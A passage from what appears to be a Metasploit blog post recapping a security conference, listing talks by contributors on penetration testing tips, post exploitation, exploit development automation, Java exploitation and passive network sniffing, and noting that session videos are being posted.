Several other Metasploit contributors gave excellent talks as well. HD gave the keynote, Rob Fuller and Chris Gates dropped a bunch of great tips on cool things you can do on a pentest, Carlos Perez discussed post exploitation, Peter Van Eeckhoutte talked about automating exploit dev, Josh Drake went over exploitation techniques against Java, and Ryan Linn explained how to own a network with passive sniffing. Irongeek has been posting videos at a phenomenal pace, so chances are they will all be up soon.


Here's hoping next year will be even better!

Filter Blog

By date: By tag: